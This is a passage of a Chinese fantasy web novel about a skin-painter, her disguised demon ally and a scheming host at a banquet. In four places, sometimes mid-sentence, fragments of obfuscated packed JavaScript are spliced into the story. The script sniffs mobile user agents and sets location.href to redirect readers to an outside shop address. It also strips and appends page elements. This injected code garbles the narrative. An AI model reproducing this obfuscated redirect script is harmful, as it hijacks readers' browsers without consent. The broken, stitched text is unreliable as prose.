可百灵不想这么轻而易举答应,小骨好不容易低头一次,可不能放过这次机会。 “我愿意,”她终于开口,眼中闪过一丝狡黠,“但我有条件,要和你约法三章,你必须先答应我。” “你说。”周延玉爽快应道。 “其一,如果在之后的行动中遇到危险,你必须保护好我,或者借我妖力自保。” “好。” “其二,你要信任我,不许怀疑我,或者用任何方式试探我。” 百灵讨厌那种互相猜忌的感觉。 “好……” “还有最后一个,你不许在我画皮的时候指手画脚,只能提建议。” 至于听不听,自然由她决定。 “……” 周延玉沉默了。 想起之前亲自上手把自己屁股改的一塌糊涂,最终还是无奈地点了头。 “现在可以告诉我,你知道的全部了。” 要求既已应下,他立刻将话题拉回正轨。 “当然。”百灵摊开双手,笑盈盈地看向他,故意停顿了几秒,才狡黠地眨眨眼,“说完了。” “?”周延玉的表情瞬间凝固,仿佛被戏弄了一般。 “能说的我早就说了,这就是全部了。”百灵解释完,还小声嘟囔着抱怨,“我可没那么多秘密藏着掖着……” 她知道周延玉并没有完全信任她,不然还问她干嘛,不是早就偷听完了吗? 提及秘密,周延玉自己确实对百灵隐瞒了许多。一阵心虚掠过,他选择了不再深究下去。 “卫影是个纯粹的妖怪,他也很强大,你有需要可以随时和他说,你可以相信他。” 或许是为了掩饰自己的秘密,或许是为了巩固这刚建立的、摇摇欲坠的同盟,周延玉特意将卫影也纳入了可信任的名单。 “那你呢?”百灵并不接他的话茬,目光如炬,紧紧锁住他的瞳孔,语气异常严肃地反问,“小骨,我能信任你吗?” “……” 周延玉简直要气笑了。在她心里,他就如此不可信吗?需要这样反复质疑? 他没有回话,只是伸出一只手臂放在桌上。 随后他摊开手掌,示意百灵把手放上来。 这是……要拿妖力收买自己吗? 百灵将信将疑伸出自己的手,心道着送上门来的好处不要白不要。 温热的手心相触,周延玉轻轻收拢五指,温热的手掌将她的手包裹住。 他闭上双眼,胸膛随着一次深长的呼吸微微起伏。 百灵见状,也有样学样合上了眼,凝神感知。 感觉……似乎与上次传递妖力时不同。脑中泛起一丝轻微的痒意,如同被羽毛轻轻拂过,并无任何排斥感。 她正细细体会时,周延玉却不知何时已睁开了眼。 本想收回手,可百灵下意识抓得很紧。 于是他维持着这个姿势,眼中带着几分戏谑的笑意,看向仍闭着眼的百灵,轻声道:“我进来之前,你在画画。” ! 百灵猛地睁开双眼,身体下意识后仰,嘴唇微张:“你怎么知道?” 周延玉笑而不语。 “你灵魂出窍偷窥我!” 疑惑瞬间转为愤怒,百灵几乎要后悔方才结盟的决定。 “……我没那么卑鄙。”周延玉也收回了笑脸,无语撇嘴道。 他目光下移,暗示性停在了两人交叠的双手上。 百灵如梦初醒,飞速抽回自己的手。 原来他不是在传递妖力...... “这是什么妖术?”百灵问。 “这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812616|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖术。”周延玉也收回了手,指尖似乎还残留着些许温度,“这是天赋。” 是强大妖君血脉中与生俱来的能力,能通过接触感知对方近期的记忆片段。不然他也不会年纪轻轻就承担继承王位的重任。 百灵似懂非懂点点头。 “那除了我在画画,你还知道些什么?” “你画的具体内容,不过似乎只是刚开始,看不出是什么,还有周围很安静,没有声音。” 原来不止画面,连当时的环境音也能捕捉。 “那更早之前的画面呢?你能看见吗?”百灵追问。 “可以,但很模糊,难以辨清。”周延玉解释道。 “哦哦。”百灵颔首,“那是不是有限制条件,就像刚才你必须接触我。” “是的。” 竟然能通过接触回溯记忆……百灵心中暗惊,对小骨的实力评估又上了一层楼,这位盟友比她想象中还要厉害。 “现在你可以相信我了。”周延玉说道,话语间带着一种开诚布公后的坦然。 “嗯。” 相信,但不多。 这妖怪心里的秘密就像快用完的珍贵颜料,抠一点是一点,绝不会自己轻易流露出来。 两人之间这轮无声的拉扯总算暂告一段落。送走周延玉,百灵重新拿起画笔,目光落回那未完成的画作上。 这是为那副骨架子所准备的脸。 幸好方才小骨没有细问画的是什么,不然肯定要提出一些稀奇古怪的要求。 一般来说画皮比试的最后一场,就是需要用自己带来的骨架捏制一个假人。不管叶知舟怎么设计,最后一场都不会变化太大,这是惯例。 这也是为什么一副骨架子成为了参加比试的入场券,虽然不是所有人都能坚持到决赛,但有一副完整骨架,至少证明了参与比试的态度和决心。 比试不需要参赛者的钱,骨架就是证明,因此,即便千辛万苦,百灵也要将这骨架背来。 无论最终结果如何,她都要竭尽所能,为这副完美骨架,赋予新生。 她将会根据原本骨架的颅骨来绘制五官,至于具体的细节,那得看她个人的发挥。 画皮师都有自己的私心,她也不例外,难免会带上自己的审美和偏好,卫影的脸就是很好的证明。 而这张脸,她势必要倾注最大的心力,绘制一张惊世骇俗、一眼就能让人感受到强烈雄性魅力的俊朗容颜。 她选了支细韧的笔,蘸上肤色底料,手腕运力,层层铺叠出肌肤该有的厚度和底子。 描摹五官时,她用了更硬的笔,调和的颜料也浓稠些,着力勾勒出高挺如峰、线条利落的鼻形。 轮到嘴唇时,她没用太鲜亮的颜色,只选了偏深的朱色稍加润泽。上唇的线条清晰而薄,下唇则饱满有力,唇角收得格外干脆。 最费功夫的是眉眼。她换回最细的笔,用浓墨掺着些许黛青,精心描画出浓密、如同刀裁的剑眉,眉峰带着清晰的转折,透着股英气。 眼睛她画得狭长,眼尾略微上扬,瞳仁的位置她仔细地留出高光,周围用深浅不一的墨色层层渲染,营造出深不见底的凝视感。 她不时退后打量,再上前修正。 脸颊和下颌的阴影打得比平时重,凸显出骨骼的硬朗和棱角,下颌线尤其清晰,连着脖颈的线条也强调出喉结的起伏和力量感。 当最后一笔落下,她搁下笔,长长呼出一口气。 画纸上呈现出的,是一张极具侵略性的俊朗面容。 百灵看着这张脸,心口莫名有点发紧。她揉了揉发酸的手腕,心里却涌起一股强烈的满足。 她已迫不及待,想见到这张脸真正附着于那副骨架之上的模样。 21. 第二十一章 第一场比试的名单出来,百灵一行人的名字赫然位列一甲。 叶知舟打着庆功宴的名头,特意邀请前三甲的队伍,在芜月楼设宴吃席。 在宴席的前一晚,宋清河却独自一人悄悄外出,前往城西的尼姑庵赴约。 半个时辰前,她在房间看见百灵留给她的纸条,纸条里没说具体内容,只是约她深夜秘密见面。 因此她趁着其他人都睡着的功夫,自己一个人偷溜出去了。 夜色如墨,冥界的天空是一种永恒的、压抑的绛紫色,仅有几缕幽绿的冥火偶尔划过,提供着微弱的光亮。 城西的尼姑庵早已荒废多年,断壁残垣在夜色中如同蛰伏的巨兽骨架,空气中弥漫着陈旧的香灰和一丝若有若无的腐朽气息。 一路上她都在想,百灵怎么会约在尼姑庵这种地方,此地阴气过重,实在算不上什么好的见面场所。 约定的时间已过,四周除了风声掠过破败窗棂的呜咽,再无其他动静。百灵的身影始终未见。 “宋小姐,别来无恙。” 一道清冷而带着几分戏谑的男声,毫无预兆地自身后漆黑的庵堂深处传来。 宋清河浑身一僵,所有的期待顷刻化为乌有,她猛地侧转过身,目光如淬寒的利刃,直射向声音来源处。 叶知舟缓缓自阴影中步出,一袭墨色长袍几乎与夜色融为一体,唯有嘴角那抹似笑非笑的弧度,在微弱的光线下显得格外清晰刺眼。 “叶知舟。” 宋清河的声音陡然降温,带着毫不掩饰的敌意。 旧识重逢,空气中却仿佛有无形的电光噼啪作响,弥漫着浓浓的火药味。 一年前的记忆不受控制地涌上心头。 也是在这样一个看似平静的夜晚,叶知舟专程来拜访她的父亲母亲,商讨生意。 宋清河误以为是在议论她的婚嫁之事,因此早早躲在屏风后偷听。 她听到叶知舟想要和自家达成合作,用他们叶家画皮铺子的假人来替代原本婚嫁仪式中的假人,让冥婚更有仪式感,就如同活人一般。 宋清河的母亲宋汐当即以假人成本过高拒绝了叶知舟。 偷听的宋清河也认为叶知舟是在异想天开。 叶知舟也是有备而来,很快提出了自己的想法。 他说这些假人会永久免费送给宋家,还可以根据需要专门定制,源源不断的输送。 作为交换,宋家要分出自己的部分业务交给叶知舟来负责,而叶知舟要从中抽取三成的收益。 宋汐行事谨慎,双方经过多方谈判,最终并未达成共识。 临走时,叶知舟见到了宋清河,也许是想阴阳一下宋家,于是打趣她家里明明做着婚嫁生意,这般年纪为何还未婚嫁,还说要为她物色好郎君。 “宋小姐家中做着这般成全姻缘的生意,自己却仍待字闺中,岂不可惜?若有需要,叶某倒可为你物色几位青年才俊。” 宋汐和宋父本就一直催婚,叶知舟这话无异于精准地戳在她的痛处,当场冷了脸,回怼叶知舟不要多管闲事。 两人之间的梁子由此结下。 “你骗我到这里,是想做什么?”宋清河强压下翻涌的怒火,声音冷硬如铁。 “深夜你独自一人外出,在此荒僻之地和百灵私会,又是想做什么?” 叶知舟并不气恼,而是笑着反问。 他刻意加重了“百灵”二字,语气轻佻至极。 这原本只是一个不经意的、甚至略显拙劣的试探,没想到鱼儿竟如此轻易地上钩了。 自从那次不欢而散,他就在暗中调查宋清河此人。 她岂止是不婚嫁,只要是上门议亲的人,一律会被这位大小姐赶走。 坊间传言,宋小姐恐男色久已,一定是被男人伤害过,因此才这般排斥。 对此宋家的回应是宋清河玩物丧志,痴迷画皮术,因而无心男色。 对于这两种论调,叶知舟都不相信。 恐男的宋小姐竟然对陌生人百灵如此热情,主动邀约,还试图共浴。 是她痴迷于技艺,所以选择了画皮师百灵吗? 恐怕没那么简单…… 对自己的男学徒冷漠无情,言辞锐利,却对台上陌生的女形主流露出那般真切的悲悯。 叶知舟做了一个最不可能确又最有可能的设想。 这位宋小姐,不恋男色,恋女色。 今夜这个简单的局,不过是为了印证这个猜想,而宋清河此刻的反应,早已说明了一切。 “这和你有什么关系。” 宋清河强作镇定,冷声回道,然而微微发颤的指尖却未能逃过叶知舟的眼睛。 “自然是没关系。”叶知舟已经笃定了自己的猜想属实,不打算和宋清河继续争论。 “今夜劳烦宋小姐前来,是想与你谈一桩生意。”叶知舟图穷匕现,笑容里多了几分商人式的精明,“一桩保证让你不会失望的生意。” “什么生意?”宋清河警惕地看着他。 “很简单,你只需要做一件事,等比试结束后,乖乖回家做你的宋家大小姐。” “哼。”宋清河闻言,唇角勾起一抹讥讽的冷笑,“是他们派你来劝我的吧。” “是,又不是。”叶知舟故作玄虚地摇了摇头,弯唇露出一抹深不可测的笑意,“我自然也有自己的私心。” 宋清河立刻了然,所谓的私心,必然与一年前那桩未能谈成的、关于替换冥婚纸人的合作有关。 她确实不想回家,但此刻并不急于拒绝。她倒要看看,叶知舟能开出怎样的价码。 “作为交换,”叶知舟抛出了他的诱饵,声音充满了蛊惑,“第二场比试,我将为宋小姐你,量身定制。” “哦?”宋清河眉梢微挑,确实被勾起了一丝兴趣,“如何量身定制?” “我将以冥婚作为第二场比试的主题,关于这点,宋小姐你应该比我了解。” “我对冥婚可不感兴趣。”宋清河冷笑一声。 “我知道。”叶知舟仿佛看穿她的心思,自信地笑了,“但这一场冥婚,注定与众不同。我向你保证,宋小姐,那将会是你……梦中都不敢奢求的完美婚礼。” 他刻意放缓了语速,每一个字都仿佛带着无形的钩子,试图撬开宋清河的防线。 宋清河缓缓抬眸,那双清冷的眸子在晦暗的夜色中,以一种难以言喻的复杂神情,细细打量着眼前这个精明如狐的商人。 “宋小姐不必急于此刻就给我答复。”叶知舟看穿了她的犹豫,极为体贴地笑了笑,率先打破了沉默,“等第二场比试结束,我们再做交易也不迟。” 先上船后补票,这样有利于买家的条件,宋清河无法拒绝。 更何况,她心底那份被强行压制下去的好奇心,正疯狂地滋长。叶知舟口中那场“梦中的婚礼”,究竟会是什么模样?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860262|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 无声的寂静在两人之间蔓延,一种基于各有所图而心照不宣的共识,已然达成。 临走,宋清河叫住叶知舟,问出了那个自比试结束后就一直萦绕在她和百灵心头的问题。 “第一场的比试,你是故意设置的吧,是冲着我来的吗?” 叶知舟脚步一顿,回身看她,回答得异常坦然,甚至没有片刻迟疑:“不是。” “那是冲着百灵?”她继续追问 叶知舟思索片刻,故作深沉浅笑道:“也不是。” 他语气平淡,却像一颗投入深潭的石子,在宋清河的心里激起了更大的涟漪和更深的迷雾。 ...... 第二日的宴席,排场远比百灵想象的更为盛大。 用膳的地点设在二楼视野极佳的雅座包间,以雕花屏风略微隔开,既保有一定私密性,又能将一楼中心的景象尽收眼底。 厅内灯火通明,数盏精巧的琉璃宫灯悬于梁下,映照得四下如同白昼。地上铺着厚实的锦毯,踩上去悄无声息。 只需微微侧头,便能清晰地俯瞰楼下正中的舞台,数位身姿曼妙的舞姬随着丝竹管弦之音翩跹起舞,水袖翻飞,眼波流转。 为了彰显对一甲的格外重视,叶知舟特意将他们安排在了宴客厅最中心的主桌,并由他本人亲自作陪,同席共饮。 紫檀木圆桌旁,珍馐满目,笑语环绕,却有一人显得格格不入,状态明显不佳。 那人便是百灵。 她的心神不宁,是因为她昨夜做了一个极其逼真的梦。 梦中,她倾注心血绘制的那张绝世容颜,竟赫然显形,与她那副骨架完美地融合在了一处,变成了一个鲜活生动的真人。 梦中的那位画中人,竟不知为何,头顶着一块绣工繁复、色泽鲜艳的红盖头,静立在她面前。 那姿态无声地邀请着,甚至是诱惑着百灵亲自上前,为他掀起盖头,一睹那早已被她亲手描绘过千万次的真容。 诡异的是,梦中的百灵竟感到一阵没来由的紧张。 分明是自己一笔一画创造出的作品,朝思暮想盼望着成真的一刻,为何真到了眼前,反而心生怯意。 她终是伸出手,哆哆嗦嗦地用指尖挑起了那方红盖头。 盖头滑落的刹那,烛光映照下,一双含笑的、有着琥珀般温润色泽的眸子,直直地望进了她的眼底。 那瞳孔中跳动着温暖的烛火光影,深邃得仿佛能将人的魂魄也吸纳进去,百灵只觉得呼吸一滞,整个人像是被钉在了原地,动弹不得。 接着,更让她难以置信的是,梦中的他竟然主动伸出手,温热的手掌轻轻包裹住她的双手,牵引着,将她的掌心贴上了他微凉的脸颊。 他甚至还微微歪头,像一只寻求安抚的小兽,用脸颊依恋地、温柔地蹭了蹭她的手掌。 在一片混沌与悸动之中,百灵已经无法思考和动作。 而后,她听见眼前人用一种近乎虔诚的语气,低声道:“我是你的,愿为你……奉献一切。” 百灵活了十几年,整日与颜料、骨架打交道,何曾经历过这等阵仗。 突如其来的告白,缱绻暧昧的氛围,让她在那虚幻的温柔乡中沉溺深陷,不愿醒来。 以至于此刻宴席之上,她却仍有些神思恍惚,指尖似乎还残留着梦中那似真似幻的触感,眼前时不时闪过那双含笑的琥珀色眼眸。 “你怎么了?” 22. 第二十二章 身侧,周延玉的嗓音冷不丁地响起,像一颗石子投入百灵纷乱的思绪,将她猛地从那些旖旎混乱的梦境碎片中拽回了现实。 “没事。”百灵心虚地眨了眨眼,下意识避开他的目光,胡乱找了个借口,“昨晚画皮练手,睡得晚了。” “是上次我看见那张吗?”周延玉状似无意地追问。他记得那次短暂的回溯中,瞥见过一个未完成的轮廓。 百灵愣了片刻才反应过来他指的是什么,连忙点头:“嗯,就是那个。” “画的是什么?”周延玉似乎不打算放过这个话题。这么久以来,他还没看过百灵的描摹皮囊的手艺如何,处于对自己未来身体的重视,他很好奇。 “没...没什么呀。”一联想到梦中那副容颜以及之后难以启齿的互动,百灵的心虚感更甚,支支吾吾道,“就是,就是平平无奇的一个人而已。” 话音未落,周延玉忽然毫无征兆地伸出手。 百灵做贼心虚,吓得猛地将放在桌边、离他较近的那只手缩了回来,动作之大,连带将手边的筷子也碰落在地,发出清脆的声响。 ? 周延玉的动作顿在半空,随即自然地转向,平静地夹起一块她面前瓷盘里的鱼肉,放入自己碗中。 他抬眸,幽幽问道:“你刚才……在想什么?” 百灵脸上那副“此地无银三百两”的表情几乎藏不住。 周延玉见状,故意倾身凑近她,压低了声音在她耳边道:“你不会以为,我是要偷偷回溯你吧?” 百灵知道自己又误会了周延玉,忙捧着笑脸,给他夹上了一大块鱼肉,试图掩饰尴尬。 “你多吃点。” 见她这般示好,周延玉自然见好就收,本来也只是想逗逗她。 不过,她越是这般遮掩,反倒越让他对那画中内容生出了十二分的好奇。 “来人,给百灵姑娘换一副新的餐具来。”叶知舟敏锐地注意到了这边的动静,立刻扬声吩咐,周到又体贴。 新的筷子很快被呈上。百灵正要抬手去接,却惊讶地发现,捧着托盘低头走来的,竟是多日未见的白夭夭。 “夭夭?” 百灵又惊又喜。这几日她来过芜月楼几次,却总不巧碰上白夭夭忙于活计,百灵不想打扰她,因此只能默默离去。 难不成夭夭还在生她的气?她虽未亲自当面道歉,但也托人给夭夭送信解释,却石沉大海,一封回信也没有。 白夭夭的反应却出乎意料的平静,甚至可以说是疏离。她客气地将新筷子放到百灵面前,动作规矩,眼神却并未与百灵相接,完成差事后便准备默默退下。 “夭夭,你过来。” 叶知舟适时开口,叫住了她,并抬手示意她走到自己身边。 碍于在场众多宾客,白夭夭虽不情愿,还是依言挪步过去。 叶知舟站起身,手中端着一盏酒,面向众人,朗声道:“诸位,借今日之喜,叶某要向诸位宣布一桩喜讯。” 他侧身,示意了一下身旁的白夭夭。 “白夭夭,在我芜月楼勤恳多年,能力出众,忠心可鉴。今日起,我便升任她为芜月楼的管家娘子,俸禄翻倍,日后便是我叶知舟的得力助手,协理楼中事务。” “......”白夭夭彻底懵了,完全搞不懂叶知舟这又是唱的哪一出。 “得此良才,实乃叶某之幸。”叶知舟继续说着场面话,目光扫过在座的各位选手,“当然,在座诸位亦是万里挑一的良才,我芜月楼的大门,永远为大家敞开。” 说罢,他将杯中酒一饮而尽。 身为东道主,面子不能不给,百灵一行人虽心思各异,也立刻举杯回敬。 “来人,”叶知舟显然还没完,吩咐道,“给我们新上任的管家娘子看座。” 座位被巧妙地安排在了百灵的身边。 白夭夭云里雾里地坐下,身份的骤然转变让她一时难以适应,前一刻还在后院忙得脚不沾地,转眼就成了什么管家娘子? 叶知舟到底打的什么算盘? 她的意外入席,却为百灵创造了难得的接近机会。 百灵立刻抓住机会,一个劲儿地给白夭夭夹菜、添水,殷勤备至,几乎把“讨好”和“求和”两个词写在了脸上。 一旁的周延玉看得也蒙圈了,这二人到底是什么关系? 他可还清清楚楚记得报名那日,白夭夭对他毫不留情的犀利羞辱。 当日百灵一直坚定和维护他,按理说她和白夭夭之间的关系很一般,再怎么样至于也不该如此亲近。 事情过去那么久,他其实对于白夭夭没那么记恨了,只是百灵此刻的态度让他深感疑惑。 那日的事情,恐怕远不止他看到的那么简单。 百灵再次陷入了左右为难的尴尬境地。 见周延玉只是沉默地看着,没什么表示,百灵以为他心底正偷偷积攒怨气,于是给白夭夭夹完菜,又忙不迭地转向另一边。 给两人的碗里堆起小山,恨不得自己能长出四只手来。 没办法,自己当初惹下的“情债”,跪着也得想办法周全。 对面的宋清河将这一切尽收眼底。 她尤为大方地将身边卫影刚刚为她细心剥好、堆得满满的一碗晶莹蟹肉,自然地推到了忙得晕头转向的百灵面前。 “别光顾着给别人夹菜了,”她语气听起来漫不经心,甚至带着点惯有的清冷,“自己也吃点东西。” “谢谢。”百灵受宠若惊,欣然接过,吃得津津有味。 看她吃得香,宋清河低下头,唇角难以自抑地勾起一抹极浅却真实的笑意。 她丝毫未曾注意到,身旁的卫影周身的气压瞬间低了下去。 卫影眼睁睁看着自己辛辛苦苦、一点一点剥出来的饱满蟹肉,被宋清河如此轻易地借花献佛,心中涌起一股难以言说的酸涩与失落。 这些时日的相处下来,他似乎已经习惯了默默跟在宋清河身后,听她差遣,为她处理各种琐事,就像从前在妖界侍奉君上一般自然。 可这种服务,难道不应该是专属的吗?宋清河怎么能如此随意地,就将他耗费心意与时间才完成的心意,转手就送给了旁人? 他心头憋闷,却不敢有丝毫表露,只能将脸埋得更低,闷头扒拉着碗里的白饭,仿佛那米饭和他有什么深仇大恨。 就在这时,一块烹制得油亮诱人的肉,被一双公筷稳稳地夹到了他的碗中。 “卫公子,这是我们芜月楼的招牌菜,你尝尝?” 卫影诧异地抬头,发现给他夹菜的竟是主人叶知舟。 叶知舟脸上挂着恰到好处的笑容,既有东道主的周到关切,又不失温和的热情,让人难以拒绝。 君上似乎没明确说过不许接触叶知舟……只是吃一口菜,应该无妨吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885398|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他心思稍定,道了声谢,便准备将那块肉送入口中。 “慢着。” 即将送入嘴的关键时刻,周延玉出声制止了他。 “叶老板盛情,感激不尽。”周延玉转向叶知舟,脸上挂着疏离而礼貌的浅笑,“只是我等孤陋寡闻,不知这是何等珍馐?能否请您为我们讲解一番,也好让我长长见识。” 周延玉担心叶知舟的无事献殷勤不安好心,因此出言试探。 “当然。”叶知舟自然回应,用手指向圆桌中间的那道冒着热气的硬菜。 “此菜名曰天狗食月,选取不足三月大的乳犬,配以当下最鲜嫩的时令白萝卜,文火慢焖而成。滋味鲜美无比,狗肉酥烂入味,入口即化,萝卜则吸饱了汤汁,爽口解腻,乃是人间至味。” “啪嗒!” 叶知舟话音未落,卫影手中的筷子猛地脱力,掉落在骨瓷碟上,发出一声清脆刺耳的响声,他的脸色也瞬间变得苍白。 “卫公子这是怎么了?”叶知舟立刻投来关切的目光。 “他见识浅薄,怕是头一回听说这等佳肴,惊着了。”周延玉面不改色,从容地替卫影遮掩过去,语气平淡得像在陈述事实。 “原来如此。”叶知舟若有所思点点头。 “既然卫公子无福消受这般佳肴。”叶知舟话锋一转,竟亲自又夹起一块肥嫩的狗肉,不容置疑地放到了周延玉的碗中,笑容依旧和煦。 “那便由你替他尝尝如何?我保证,这一口下去,必定惊为天人,回味无穷,让人欲罢不能。” 空气仿佛凝滞了。周延玉看着碗里那块油光锃亮的肉,沉默了几秒。 经过一番急速的心理斗争,他脸上缓缓绽开一个无懈可击的假笑:“既然如此……那在下就恭敬不如从命了。” 他慢慢拿起筷子,夹起那块肉,仿佛下了极大决心般,闭上眼,缓缓朝唇边送去。 “小骨!” 就在那肉块即将触碰到他嘴唇的瞬间,百灵忽然大喝一声,猛地伸手,精准地打掉了他手中的筷子,筷子连同那块惹事的狗肉,“哐当”一声滚落在地。 周延玉侧头看她,眼里的混杂情绪说不清道不明,复杂难辨,惊讶、疑惑,或许还有一丝不易察觉的庆幸。 “叶老板,实在对不住!”百灵立刻转向叶知舟,端起酒杯,脸上堆满了歉意,“我小时候家里养过一只小狗,感情很深。自那以后,我便立下誓言,此生绝不吃狗肉。” “小骨作为我的学徒,自然也得随我的规矩,这肉是万万不能吃的。” “原来还有这般缘由……”叶知舟脸上的笑容淡了些,但依旧保持着风度,轻轻颔首,“百灵姑娘重情重义,令人动容。既是立下的誓言,自然不可违背,是我考虑不周,唐突了。” 周延玉紧绷的肩膀几不可察地松弛下来,暗自松了口气。 “对了。”叶知舟很快转移了话题,再度将目光投向周延玉,笑容重新变得意味深长,“方才百灵姑娘唤你小骨,倒是别致,不知姑娘的大名该如何称呼?” “我是个孤儿,无名无姓。”周延玉迎上他的目光,神色自然,“小骨是师父赐给我的名字,若真要论姓,那也该随师父,叫百小骨。” “叶老板,我没什么学问,胡乱取得名字,让你见笑了。”百灵附和道。 百灵与周延玉这一唱一和,默契十足,倒真像那么回事。 23. 第二十三章 吃完饭后,百灵一心想逃离芜月楼这是非之地,却又被叶知舟盛情邀请看完接下来的戏再走。 其余获胜的队伍早已欣然应允,纷纷表示期待。 若是他们这魁首此刻离席,于情于理都实在不合规矩,毕竟此次宴席就是为庆祝他们的胜利。 百灵心下无奈,只得与周延玉、宋清河等人交换了一个眼神,勉强按捺住性子留下。 在等待戏班开场的间隙,周延玉借口解手离席,经过百灵身边时,他眼风极快又极轻地扫过她,递过一个心照不宣的信号。 百灵会意,略坐了片刻,便也捂着肚子站起身,以吃多了为由,说要走走消食,顺道也好参观一下芜月楼。 叶知舟闻言,只意味深长地笑了笑,并未阻拦,只温和叮嘱道:“百灵姑娘请自便,只是莫要走远,错过了好戏开场。” 百灵点头应下,转身离席。 她在廊间迂回穿梭,看似漫无目的地闲逛,目光却不着痕迹地扫过各处。终于,在一个僻静的转角处,看到了负手而立、显然已等候她片刻的周延玉。 百灵下意识地左右张望,芜月楼内人来人往,皆是叶知舟的眼线,她一时不敢开口。 “放心吧,有结界。”周延玉的声音低沉而平稳,瞬间打消了她的顾虑,“没人会听到我们的对话。” 几乎每次需要密谈,无论是与百灵还是与卫影,周延玉都会谨慎地布下这层无形的屏障,隔绝外界窥探。 除非对方妖力远胜于他,才能无视结界的存在。 “那就好。”百灵这才松了口气,紧绷的肩膀微微放松下来。 “卫影的身份已经暴露了。”周延玉开门见山,语气凝重。他目光越过栏杆,瞥向楼下大厅中某个正茫然发呆的身影,“从今日起,我不会再和他有直接接触,由你代为传话。” “什么?”百灵刚放下的心马上又悬了起来,“是因为刚才那道菜吗?” “不只是那道菜。”周延玉摇了摇头,露出一丝无奈,“卫影自入冥界以来没有化名,卫影就是本名,很容易被查到。” 因此他的暴露,早在周延玉的预料之中。 “这样。”百灵若有所思。 她忽然想到什么,嘴唇微张,却又将话咽了回去。 她还不知道小骨的本名是什么,一开始她说自己一人生活,没有名字,肯定也是假的。 既然不说,那就不问了。 “妖界那边肯定一直在追查我和卫影。”周延玉担忧道,“只是我没想到,叶知舟竟然能和他们勾结到一处。” “那四位形主会不会和他们有关系,说不定他们之间有什么见不得人的勾当。”百灵百灵立刻联想到初试时的异状,猜测道。 “很有可能。” 虽然这条线索很关键,但事情的复杂和困难程度也远远超出了百灵最初的想象。 叶知舟勾结的,绝非凡俗之辈。敌人的实力和背景,恐怕深不可测。 “既然已经怀疑你了,与其蛰伏着不动,不如......”百灵眼中闪过一丝决断的光芒,“主动出击。” 怀疑的种子一旦种下,便难以根除,尤其对手是叶知舟这般多疑狡诈之人。 “怎么说?”周延玉追问。 “我要先确认一件事,你说的妖界那边的人,知道你会回溯吗?” “除了少数几个心腹,其余都不知道。”周延玉沉思片刻,做出了判断,“追查我的妖怪,大概率也不知道。” “今天是难得的机会,如果能接触到叶知舟就好了。” 百灵的想法,周延玉也想过,只是苦于找不到自然又不引人怀疑的借口去触碰叶知舟。一个不慎,反而会弄巧成拙,加重自身嫌疑。 “我知道了!”百灵眼中灵光一闪,瞬间计上心头。 尽管身处结界之内,她还是下意识地压低了声音,凑近周延玉,将脑海中成形的计划和盘托出。 “……” 周延玉凝神静听,面上不动声色,心中却飞速权衡着计划的可行性与风险。 片刻沉默后,他抬眼看向百灵,眸中闪过一丝锐利的光。 “……好。”他最终颔首,声音低沉而坚定,“就照你说的做。” 商讨完细节后,周延玉与百灵一前一后,神色如常地返回了席位。 百灵刚落座,楼下戏台便锣鼓声响,丝竹启奏,第一出戏正式开演。 “百灵姑娘,你来得可真是时候。”叶知舟唇角含笑,目光仍落在台上,语气却意有所指,“好戏,才刚刚开场。” 百灵顺势笑了笑,侧首望向那灯火辉煌的戏台,故作好奇地问道:“敢问叶老板,这台上演的是哪一出?” “《梁山伯与祝英台》。”叶知舟徐徐道来,声音平稳,却像藏着细针,“一出造化弄人、缠绵悱恻的悲剧。百灵姑娘,可得细细品味。” 百灵心下警觉,叶知舟绝非有闲情逸致赏风弄月之人,此话必然另有所指。 她面上不显,只微微颔首,将视线投向舞台,心底却盘算着他话中的深意。 另一边,周延玉已开始行动。 他倚着椅背,眸光看似沉醉地落在戏台上,手却有一搭没一搭地执起酒杯,一杯接着一杯,默然饮尽。 “小...小骨。”卫影担心周延玉,忍不住低声劝阻,“你少喝些罢。” 谁知周延玉只是淡淡瞥了他一眼,一言未发,自顾自地又斟满一杯。 “......”卫影吃瘪,不再劝阻,心底涌起一阵难以言喻的委屈和失落。 他虽不善于谋划,但不是傻子,方才周延玉和百灵先后离席,就已经猜到他们秘密见面了。 可百灵成为盟友也不过几日,竟能如此得君上信任,卫影心中说不上的苦闷。 “无妨,”叶知舟将这一幕收入眼底,笑道,“今日尽兴,百姑娘既然有雅兴,但喝无妨,叶某别的不敢说,好酒定然管够。” “多谢叶老板美意。”周延玉顺势举杯,遥遥敬了他一杯,姿态从容,仿佛真的只是贪杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 